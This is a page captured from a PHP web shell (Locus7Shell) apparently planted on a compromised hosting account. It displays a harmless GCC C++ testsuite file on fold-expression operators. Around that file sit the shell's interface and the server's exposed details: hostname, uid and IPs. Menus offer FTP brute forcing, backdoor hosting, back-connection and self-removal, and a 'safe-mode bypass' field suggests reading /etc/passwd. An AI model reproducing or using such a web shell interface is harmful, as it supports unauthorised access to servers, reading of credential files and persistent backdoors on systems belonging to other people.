Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/lookup/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     operator-5a.C (3.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR c++/51577
// { dg-do compile { target c++17 } }
// Like operator-5.C but also containing a partial instantiation step.

namespace N { struct A { }; }

template <class...> auto f () {
  return [] (auto... xs) {
    (xs->*...->*N::A{}); // { dg-error "no match" }
    (N::A{}->*...->*xs); // { dg-error "no match" }
    (xs / ... / N::A{}); // { dg-error "no match" }
    (N::A{} / ... / xs); // { dg-error "no match" }
    (xs * ... * N::A{}); // { dg-error "no match" }
    (N::A{} * ... * xs); // { dg-error "no match" }
    (xs + ... + N::A{}); // { dg-error "no match" }
    (N::A{} + ... + xs); // { dg-error "no match" }
    (xs - ... - N::A{}); // { dg-error "no match" }
    (N::A{} - ... - xs); // { dg-error "no match" }
    (xs % ... % N::A{}); // { dg-error "no match" }
    (N::A{} % ... % xs); // { dg-error "no match" }
    (xs & ... & N::A{}); // { dg-error "no match" }
    (N::A{} & ... & xs); // { dg-error "no match" }
    (xs | ... | N::A{}); // { dg-error "no match" }
    (N::A{} | ... | xs); // { dg-error "no match" }
    (xs ^ ... ^ N::A{}); // { dg-error "no match" }
    (N::A{} ^ ... ^ xs); // { dg-error "no match" }
    (xs << ... << N::A{}); // { dg-error "no match" }
    (N::A{} << ... << xs); // { dg-error "no match" }
    (xs >> ... >> N::A{}); // { dg-error "no match" }
    (N::A{} >> ... >> xs); // { dg-error "no match" }
    (xs && ... && N::A{}); // { dg-error "no match" }
    (N::A{} && ... && xs); // { dg-error "no match" }
    (xs || ... || N::A{}); // { dg-error "no match" }
    (N::A{} || ... || xs); // { dg-error "no match" }
    (xs , ... , N::A{});
    (N::A{} , ... , xs);

    (xs == ... == N::A{}); // { dg-error "no match" }
    (N::A{} == ... == xs); // { dg-error "no match" }
    (xs != ... != N::A{}); // { dg-error "no match" }
    (N::A{} != ... != xs); // { dg-error "no match" }
    (xs < ... < N::A{}); // { dg-error "no match" }
    (N::A{} < ... < xs); // { dg-error "no match" }
    (xs > ... > N::A{}); // { dg-error "no match" }
    (N::A{} > ... > xs); // { dg-error "no match" }
    (xs <= ... <= N::A{}); // { dg-error "no match" }
    (N::A{} <= ... <= xs); // { dg-error "no match" }
    (xs >= ... >= N::A{}); // { dg-error "no match" }
    (N::A{} >= ... >= xs); // { dg-error "no match" }

    (xs += ... += N::A{}); // { dg-error "no match" }
    (N::A{} += ... += xs); // { dg-error "no match" }
    (xs -= ... -= N::A{}); // { dg-error "no match" }
    (N::A{} -= ... -= xs); // { dg-error "no match" }
    (xs *= ... *= N::A{}); // { dg-error "no match" }
    (N::A{} *= ... *= xs); // { dg-error "no match" }
    (xs /= ... /= N::A{}); // { dg-error "no match" }
    (N::A{} /= ... /= xs); // { dg-error "no match" }
    (xs %= ... %= N::A{}); // { dg-error "no match" }
    (N::A{} %= ... %= xs); // { dg-error "no match" }
    (xs |= ... |= N::A{}); // { dg-error "no match" }
    (N::A{} |= ... |= xs); // { dg-error "no match" }
    (xs ^= ... ^= N::A{}); // { dg-error "no match" }
    (N::A{} ^= ... ^= xs); // { dg-error "no match" }
    (xs <<= ... <<= N::A{}); // { dg-error "no match" }
    (N::A{} <<= ... <<= xs); // { dg-error "no match" }
    (xs >>= ... >>= N::A{}); // { dg-error "no match" }
    (N::A{} >>= ... >>= xs); // { dg-error "no match" }
  };
}

#include "operator-3-ops.h"

int main() {
  f()(N::A());
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--